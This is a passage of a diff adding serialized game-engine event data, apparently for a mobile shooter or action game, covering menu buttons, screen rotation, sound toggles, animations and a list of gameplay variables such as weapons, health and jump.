+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 736673504458547,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 801359023374469,
+ false,
+ [
+ [
+ 4,
+ 5
+ ]
+ ]
+ ],
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 661436451408120,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 347753429377258,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 426687932243369,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 985370386590547,
+ false,
+ [
+ [
+ 6,
+ "Intro"
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 986225899928606,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 388919873150119,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 515810548941202,
+ false,
+ [
+ [
+ 4,
+ 552
+ ]
+ ]
+ ],
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 410404261761649,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 842561093933337,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 760242335613248,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 536404965631492,
+ false,
+ [
+ [
+ 6,
+ "How to play1"
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 354372898529058,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 499880325227322,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 265154385366885,
+ false,
+ [
+ [
+ 4,
+ 552
+ ]
+ ]
+ ],
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 643231101423489,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 935859758637454,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 204216907139889,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 907283398390110,
+ false,
+ [
+ [
+ 6,
+ "How to play2"
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 807712567301998,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 280786051418594,
+ [
+ [
+ -1,
+ 41,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 889444537848396,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 42,
+ null,
+ 830064034787666,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 788121194912947,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 768842672996007,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 32,
+ null,
+ 829792480167790,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 157073693147009,
+ false,
+ [
+ [
+ 2,
+ [
+ "menu",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 553,
+ 30,
+ null,
+ 799772543151743,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "nolleva"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 204605165343911,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 990425022050493,
+ false
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 865124631806308,
+ false,
+ [
+ [
+ 11,
+ "a1"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 931449476175405,
+ false,
+ [
+ [
+ 11,
+ "a1"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 44,
+ null,
+ 247630336707694,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "papi1"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 333705547712831,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "repi123"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "a1"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 419753202782806,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 957052213482953,
+ false
+ ]
+ ],
+ [
+ [
+ 181,
+ 46,
+ "Pin",
+ 265543223060142,
+ false,
+ [
+ [
+ 4,
+ 179
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 911671027881820,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.2
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 701551533800316,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.4
+ ]
+ ]
+ ]
+ ],
+ [
+ 68,
+ 47,
+ "Sine",
+ 277799386075654,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 549,
+ 48,
+ null,
+ 235739704352681,
+ false,
+ [
+ [
+ 10,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 255535975265141,
+ [
+ [
+ 118,
+ 49,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 658323493118501,
+ false,
+ [
+ [
+ 8,
+ 2
+ ],
+ [
+ 0,
+ [
+ 0,
+ -300
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 118,
+ 50,
+ null,
+ 763917079045651,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 300773415384794,
+ [
+ [
+ 119,
+ 49,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 952505830428140,
+ false,
+ [
+ [
+ 8,
+ 2
+ ],
+ [
+ 0,
+ [
+ 0,
+ -300
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 119,
+ 50,
+ null,
+ 966676572721041,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 245354634344572,
+ [
+ [
+ 120,
+ 49,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 618394771674919,
+ false,
+ [
+ [
+ 8,
+ 2
+ ],
+ [
+ 0,
+ [
+ 0,
+ -300
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 120,
+ 50,
+ null,
+ 468608753175601,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 390043392443470,
+ [
+ [
+ -1,
+ 41,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 738435701982641,
+ false
+ ]
+ ],
+ [
+ [
+ 118,
+ 51,
+ null,
+ 988952649232272,
+ false,
+ [
+ [
+ 0,
+ [
+ 5,
+ [
+ 20,
+ 118,
+ 52,
+ false,
+ null
+ ],
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 119,
+ 51,
+ null,
+ 195105309210406,
+ false,
+ [
+ [
+ 0,
+ [
+ 5,
+ [
+ 20,
+ 119,
+ 52,
+ false,
+ null
+ ],
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 120,
+ 51,
+ null,
+ 504680576490231,
+ false,
+ [
+ [
+ 0,
+ [
+ 5,
+ [
+ 20,
+ 120,
+ 52,
+ false,
+ null
+ ],
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 965367584979758,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 103033613651482,
+ false
+ ]
+ ],
+ [],
+ [
+ [
+ 0,
+ null,
+ false,
+ null,
+ 239517833926752,
+ [
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 523881825283433,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 998239884848654,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 610302105640345,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 634780427982017,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 321336599812764,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 196971081151772,
+ [
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 926482561224907,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 360867194369158,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 135854368082576,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 707659746250524,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 177469134343527,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 898518452750130,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 733458829857601,
+ false
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 703907930508135,
+ false
+ ],
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 368688446310867,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 461310646894997,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 55,
+ null,
+ 648226113893063,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 651817389583749,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 324975773878631,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 382592354108803,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 670865679976990,
+ false
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 498746893496826,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 435360926764308,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 530982589056562,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 540707820155877,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 636299325560978,
+ [
+ [
+ 404,
+ 49,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 560895464161841,
+ false,
+ [
+ [
+ 8,
+ 4
+ ],
+ [
+ 0,
+ [
+ 0,
+ 872
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 404,
+ 51,
+ null,
+ 283629843621100,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -136
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 545477386019037,
+ [
+ [
+ 554,
+ 57,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 392172038362184,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 58,
+ null,
+ 826712343989734,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -1000
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 855130256528760,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 833746243184766,
+ [
+ [
+ 554,
+ 59,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 209590030477132,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 58,
+ null,
+ 355133895522141,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 818258475262764,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 477795542170644,
+ [
+ [
+ -1,
+ 60,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 617451238512448,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 553,
+ 61,
+ "Platform",
+ 281700372999160,
+ false,
+ [
+ [
+ 3,
+ 2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 935553971317248,
+ [
+ [
+ -1,
+ 41,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 510435556627601,
+ false
+ ]
+ ],
+ [
+ [
+ 553,
+ 61,
+ "Platform",
+ 340066768884718,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 855827384150229,
+ [
+ [
+ 553,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 837922303686460,
+ false,
+ [
+ [
+ 4,
+ 550
+ ]
+ ]
+ ],
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 956618635714972,
+ false
+ ]
+ ],
+ [
+ [
+ 550,
+ 50,
+ null,
+ 750511391902830,
+ false
+ ],
+ [
+ 553,
+ 30,
+ null,
+ 245677868406251,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "lleva"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 551,
+ 63,
+ null,
+ 810793496958715,
+ false
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 308064602408830,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.5
+ ]
+ ]
+ ]
+ ],
+ [
+ 549,
+ 48,
+ null,
+ 845680802777431,
+ false,
+ [
+ [
+ 10,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 849089963361283,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 569915660717575,
+ false,
+ [
+ [
+ 6,
+ "How to play1"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 305516829790577,
+ [
+ [
+ 553,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 785069478756194,
+ false,
+ [
+ [
+ 4,
+ 550
+ ]
+ ]
+ ],
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 689760081665450,
+ false
+ ]
+ ],
+ [
+ [
+ 550,
+ 50,
+ null,
+ 307707487698450,
+ false
+ ],
+ [
+ 553,
+ 30,
+ null,
+ 907600716421376,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "lleva"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 551,
+ 63,
+ null,
+ 945301908297820,
+ false
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 242045561684075,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.5
+ ]
+ ]
+ ]
+ ],
+ [
+ 549,
+ 48,
+ null,
+ 347980851293945,
+ false,
+ [
+ [
+ 10,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 455068966783585,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 4
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 725947133816041,
+ false,
+ [
+ [
+ 6,
+ "How to play2"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 172725575268690,
+ [
+ [
+ 549,
+ 64,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 599065802539325,
+ false,
+ [
+ [
+ 10,
+ 0
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 549,
+ 51,
+ null,
+ 333525684648929,
+ false,
+ [
+ [
+ 0,
+ [
+ 4,
+ [
+ 20,
+ 549,
+ 52,
+ false,
+ null
+ ],
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 549,
+ 30,
+ null,
+ 233734546664321,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "Animation2"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 665249486428542,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 912764594648594,
+ false,
+ [
+ [
+ 11,
+ "sonido"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 695756142560112,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 310886546998116,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 304,
+ 30,
+ null,
+ 831934012911425,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 794059467107829,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 717226402640931,
+ false,
+ [
+ [
+ 2,
+ [
+ "menu",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 747966238701267,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 277442529462849,
+ false,
+ [
+ [
+ 11,
+ "sonido"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 378207603195550,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 344832017181456,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 304,
+ 30,
+ null,
+ 836913865596287,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 966870751935747,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 844261968915334,
+ false,
+ [
+ [
+ 2,
+ [
+ "menu",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ "Gameplay1",
+ [
+ [
+ 1,
+ "key4",
+ 0,
+ 0,
+ false,
+ false,
+ 511449025695644,
+ false
+ ],
+ [
+ 1,
+ "key3",
+ 0,
+ 0,
+ false,
+ false,
+ 470003297740553,
+ false
+ ],
+ [
+ 1,
+ "key2",
+ 0,
+ 0,
+ false,
+ false,
+ 297288438633357,
+ false
+ ],
+ [
+ 1,
+ "key1",
+ 0,
+ 0,
+ false,
+ false,
+ 368859564039577,
+ false
+ ],
+ [
+ 1,
+ "endlesscore",
+ 0,
+ 0,
+ false,
+ false,
+ 157623116078238,
+ false
+ ],
+ [
+ 1,
+ "puzzle1",
+ 0,
+ 0,
+ false,
+ false,
+ 903660633840128,
+ false
+ ],
+ [
+ 1,
+ "hiter",
+ 0,
+ 0,
+ false,
+ false,
+ 465256891043202,
+ false
+ ],
+ [
+ 1,
+ "vida",
+ 0,
+ 0,
+ false,
+ false,
+ 713334588001774,
+ false
+ ],
+ [
+ 1,
+ "jump",
+ 0,
+ 0,
+ false,
+ false,
+ 749709729310859,
+ false
+ ],
+ [
+ 1,
+ "blood",
+ 0,
+ 0,
+ false,
+ false,
+ 767050224636058,
+ false
+ ],
+ [
+ 1,
+ "arrow",
+ 0,
+ 0,
+ false,
+ false,
+ 722931386816429,
+ false
+ ],
+ [
+ 1,
+ "flame",
+ 0,
+ 0,
+ false,
+ false,
+ 921605686288284,
+ false
+ ],
+ [
+ 1,
+ "saw",
+ 0,
+ 0,
+ false,
+ false,
+ 697512788625499,
+ false
+ ],
+ [
+ 1,
+ "m16",
+ 0,
+ 0,
+ false,
+ false,
+ 498929243544588,
+ false
+ ],
+ [
+ 1,
+ "thor",
+ 0,
+ 0,
+ false,
+ false,
+ 737584294615037,
+ false
+ ],
+ [
+ 1,
+ "uzi1",
+ 0,
+ 0,
+ false,
+ false,
+ 765849021118807,
+ false
+ ],
+ [
+ 1,
+ "sierra1",
+ 0,
+ 0,
+ false,
+ false,
+ 557461003303079,
+ false
+ ],
+ [
+ 1,
+ "reload",
+ 0,
+ 0,
+ false,
+ false,
+ 863282200630521,
+ false
+ ],
+ [
+ 1,
+ "gun1",
+ 0,
+ 0,
+ false,
+ false,
+ 914889154173155,
+ false
+ ],
+ [
+ 1,
+ "weapon14",
+ 0,
+ 0,
+ false,
+ false,
+ 989326000976820,
+ false
+ ],
+ [
+ 1,
+ "weapon13",
+ 0,
+ 0,
+ false,
+ false,
+ 482171966813650,
+ false
+ ],
+ [
+ 1,
+ "weapon12",
+ 0,
+ 0,
+ false,
+ false,
+ 279810670808246,
+ false
+ ],
+ [
+ 1,
+ "weapon11",
+ 0,
+ 0,
+ false,
+ false,
+ 778643816404692,
+ false
+ ],
+ [
+ 1,
+ "weapon10",
+ 0,
+ 0,
+ false,
+ false,
+ 591850298453493,
+ false
+ ],
+ [
+ 1,
+ "weapon9",
+ 0,
+ 0,
+ false,
+ false,
+ 726203013198183,
+ false
+ ],
+ [
+ 1,
+ "weapon8",
+ 0,
+ 0,
+ false,
+ false,
+ 764182879318593,
+ false
+ ],
+ [
+ 1,
+ "weapon7",
+ 0,
+ 0,
+ false,
+ false,
+ 369437463546211,
+ false
+ ],
+ [
+ 1,
+ "weapon6",
+ 0,
+ 0,
+ false,
+ false,
+ 583728242427784,
+ false
+ ],
+ [
+ 1,
+ "weapon5",
+ 0,
+ 0,
+ false,
+ false,
+ 492242766168026,
+ false
+ ],
+ [
+ 1,
+ "weapon4",
+ 0,
+ 0,
+ false,
+ false,
+ 301784656495170,
+ false
+ ],
+ [
+ 1,
+ "weapon3",
+ 0,
+ 0,
+ false,
+ false,
+ 418496254188366,
+ false
+ ],
+ [
+ 1,
+ "weapon2",
+ 0,
+ 0,
+ false,
+ false,
+ 728097234289136,
+ false
+ ],
+ [
+ 1,
+ "weapon1",
+ 0,
+ 0,
+ false,
+ false,
+ 778592971191183,
+ false
+ ],
+ [
+ 1,
+ "weaponselected",
+ 0,
+ 0,
+ false,
+ false,
+ 932637189538748,
+ false
+ ],
+ [
+ 1,
+ "combotime",
+ 0,
+ 0,
+ false,
+ false,
+ 649970086026121,
+ false
+ ],
+ [
+ 1,
+ "endgame",
+ 0,
+ 0,
+ false,
+ false,
+ 210889173757260,
+ false
+ ],
+ [
+ 1,
+ "maxvida",
+ 0,
+ 100,
+ false,
+ false,
+ 155965445614082,
+ false
+ ],
+ [
+ 1,
+ "vidaleft",
+ 0,
+ 100,
+ false,
+ false,
+ 219866329646119,
+ false
+ ],
+ [
+ 1,
+ "previusDistance",
+ 0,
+ 0,
+ false,
+ false,
+ 119269086692488,
+ false
+ ],
+ [
+ 1,
+ "carrosound",
+ 0,
+ 0,
+ false,
+ false,
+ 601538642890416,
+ false
+ ],
+ [
+ 1,
+ "lastickangle2",
+ 0,
+ 0,
+ false,
+ false,
+ 564354154041363,
+ false
+ ],
+ [
+ 1,
+ "lastickangle",
+ 0,
+ 0,
+ false,
+ false,
+ 305594633835031,
+ false
+ ],
+ [
+ 1,
+ "counter",
+ 0,
+ 0,
+ false,
+ false,
+ 221046860373493,
+ false
+ ],
+ [
+ 1,
+ "caida",
+ 0,
+ 0,
+ false,
+ false,
+ 624832164139606,
+ false
+ ],
+ [
+ 1,
+ "suma",
+ 0,
+ 0,
+ false,
+ false,
+ 888328100367984,
+ false
+ ],
+ [
+ 1,
+ "LAUNCHES",
+ 0,
+ 0,
+ false,
+ false,
+ 896269110738959,
+ false
+ ],
+ [
+ 1,
+ "person",
+ 0,
+ 0,
+ false,
+ false,
+ 455167082718743,
+ false
+ ],
+ [
+ 1,
+ "tricky",
+ 0,
+ 0,
+ false,
+ false,
+ 484427196650961,
+ false
+ ],
+ [
+ 1,
+ "launchvalue",
+ 0,
+ 0,
+ false,
+ false,
+ 612057677608227,
+ false
+ ],
+ [
+ 1,
+ "readylaunch",
+ 0,
+ 0,
+ false,
+ false,
+ 428039684969859,
+ false
+ ],
+ [
+ 1,
+ "Launch",
+ 0,
+ 1,
+ false,
+ false,
+ 237044107058785,
+ false
+ ],
+ [
+ 1,
+ "movida",
+ 0,
+ 0,
+ false,
+ false,
+ 191999896882976,
+ false
+ ],
+ [
+ 1,
